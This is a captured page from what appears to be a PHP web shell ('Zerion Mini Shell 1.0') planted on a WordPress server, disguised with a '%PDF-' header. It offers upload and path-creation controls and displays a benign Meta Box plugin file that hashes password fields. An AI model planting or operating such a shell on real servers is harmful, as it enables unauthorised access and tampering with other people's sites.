%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pn/beta/64801_wp-content/plugins/meta-box/inc/fields/
Upload File :
Create Path :
Current File : /var/www/pn/beta/64801_wp-content/plugins/meta-box/inc/fields/password.php

<?php
/**
 * The secured password field.
 *
 * @package Meta Box
 */

/**
 * Password field class.
 */
class RWMB_Password_Field extends RWMB_Text_Field {
	/**
	 * Store secured password in the database.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 * @return string
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = $new !== $old ? wp_hash_password( $new ) : $new;
		return $new;
	}
}

Zerion Mini Shell 1.0